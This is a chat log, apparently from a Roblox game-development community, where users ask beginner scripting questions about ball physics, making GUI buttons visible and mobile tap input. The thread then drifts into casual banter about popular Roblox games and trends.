Blue ball 🔵 is 2nd player

🔴 ⚪ 🔵

The player balls 🔴🔵 can move themselves and kick the white ball ⚪ for it to move

Let's say the the red ball 🔴 kicks the white ball ⚪ which hits the blue ball 🔵

The blue ball moves a bit due to the collision 🔵

Q. How do I avoid the blue ball from moving when it gets hit by white ball but be able to move white ball around - just not move when it gets hit by it?

(roblox physics question)

undone cairn
#

how do i make smt like this can someone help i have a working spectate system and i want those buuttons to appear when its pressed how to do that

grave zenith
#

Just do visible = true ?

undone cairn
#

wait what?

grave zenith
#

Just change the buttons visible property

undone cairn
#

im sorry im new

grave zenith
#

Wait what

#

You made a spectate system but you don’t know how to do that

undone cairn
#

yea i followed a youtube video

undone cairn
grave zenith
#

In your script ?

meager ocean
grave zenith
#

Did you get their authorization for the thumbnail

undone cairn
#

im really new

grave zenith
#

Then idk either if you don’t know how to code I can’t teach you

meager ocean
hexed cedar
#

Just button.Visible = true

undone cairn
tight pewter
#

or ScreenGUI.enabled = true

hexed cedar
#

What is your script?

rain hound
#

can mouse.Button1Down be triggered by a mobile player tapping their screen?

tight pewter
#

if theyre just in a separate screengui

grave zenith
#

Just send your script @undone cairn it’s faster

cyan trellis
#

Youre wasting your time with him haha

rain hound
#

ty

cyan trellis
#

is that a function

meager ocean
#

will game.workspace.Button.Visible = true work?

hexed cedar
undone cairn
hexed cedar
cyan trellis
#

why is your button in the workspace blud

meager ocean
grave zenith
meager ocean
#

im just joking lol

hexed cedar
meager ocean
#

chill

grave zenith
#

chill ?

#

I’m chill bro

tight pewter
blissful turtle
meager ocean
undone cairn
rain hound
#

which one is it

grave zenith
tight pewter
#

rather than a baseless touch

hexed cedar
rain hound
tight pewter
hexed cedar
#

Are u meaning if a mobile player touches a screen or a button

grave zenith
meager ocean
#

would it actually work? game.startergui.ScreenGui.Button = True ( idk im guessing lol )

hexed cedar
#

Cuz there is a difference

tight pewter
#

^

grave zenith
#

Yeah I thought it was mouse button

hexed cedar
#

Which do u want

rain hound
cyan trellis
meager ocean
#

Guys would this actually work game.startergui.ScreenGui.Button = True ( idk im guessing lol )

hexed cedar
#

Ok then I don’t think that will work

cyan trellis
#

Can u guys help with my formatting

undone cairn
tight pewter
#

button.MouseButton1Click works for mobile touches i think.
but mouse.MouseButton1Down does not.

meager ocean
#

Guys would this actually work game.startergui.ScreenGui.Button = True ( idk im guessing lol )

hexed cedar
#

He doesn’t want a button

#

He wants the screen touch

grave zenith
#

I use down and it works

#

wait

#

I need to check

undone cairn
#

damn bruh now im getting ignored :I

meager ocean
tight pewter
cyan trellis
#

Am I on mute

hexed cedar
#

No

rain hound
#

lets say im making a tool that shoots a bullet where ur cursor is going, im asking if mouse.Button1Down would work in tracking where the mobile player taps the screen

cyan trellis
#

Okay good

tight pewter
#

nope

grave zenith
#

Yeah I use mouse click

#

then idk for mouse down

hexed cedar
#

Dude I don’t work with mobile a lot

rain hound
#

idk why u wouldnt

#

thats majority of roblox playerbase

cyan trellis
#

UR smart

hexed cedar
#

I make realistic games

#

And mobile looks dumb on it and runs to slow anyways

rain hound
#

if u dont work with mobile a lot then why try to help with my mobile related issue

cyan trellis
#

Real

hexed cedar
#

5k square terrain map does not do well for mobile

grave zenith
#

If you want money then I don’t recommend to make high quality games

#

No one will play it

rain hound
#

yea im using this now

rain hound
cyan trellis
#

People play steal a brainrot

rain hound
#

trust me the last place id ask is always here

hexed cedar
tight pewter
#

just look at schedule one lol

#

no replayability, low quality

#

made 13m USD in first few days

grave zenith
cyan trellis
#

It takes 0 skill

#

i coudlve made grow a garden in a day

#

just the idea

grave zenith
tight pewter
#

but you didn't do it first

#

so it wouldn't matter anyway

cyan trellis
#

exactly

tight pewter
#

timing is also a skill

hexed cedar
#

Grow a garden is a day is crazy

#

In*

grave zenith
#

grow a garden is in 1 week if you’re alone

#

depends

cyan trellis
#

Not that far fetched

hexed cedar
#

True

tight pewter
#

scripting it in a day maybe

#

all the assets? nah

cyan trellis
#

Thats what i meant

grave zenith
#

Scripting a day not even

#

Scripting is 3 days maybe

eternal apex
cyan trellis
#

Youre so bad

hexed cedar
#

Jk

tight pewter
#

thats 80% of the game right there

cyan trellis
eternal apex
cyan trellis
#

But you didnt

hexed cedar
#

😂

cyan trellis
#

rolling on floor laughing

hexed cedar
#

Oh

grave zenith
hexed cedar
#

Ty

tight pewter
hexed cedar
#

It is

#

Probably

#

Wait what

#

No

#

No

#

I’m older trust

grave zenith
#

Grow a garden is not optimized I’m pretty sure

somber vault
#

it is

tight pewter
#

never played it tbf

#

roblox games are cheeks

cyan trellis
#

Its terrible

#

Real

grave zenith
somber vault
#

no lag

grave zenith
#

I’m pretty sure it’s not

eternal apex
cyan trellis
#

So were assuming

eternal apex
#

man I spelled that wrong

grave zenith
cyan trellis
#

Bro said no lag as proof

grave zenith
#

no complex meshes and stuff

hexed cedar
#

Ima make the new biggest Roblox game

cyan trellis
#

grow a brainrot

hexed cedar
#

Exactly

grave zenith
#

it exists lol

cyan trellis
#

Youre lying Ha

hexed cedar
#

Sadly that would probably do well

steep blade
#

no it wouldn't

hexed cedar
#

Would

steep blade
#

i know

hexed cedar
#

Ur the one

cyan trellis
#

Shut yo goof

hexed cedar
#

Who made it

#

Aren’t u

grave zenith
#

The current trend are towers

#

if u guys want money

cyan trellis
#

?

#

Wdym

steep blade
#

nah you dont wanna follow the trends

#

make the trends like i do

cyan trellis
#

Youre smart bro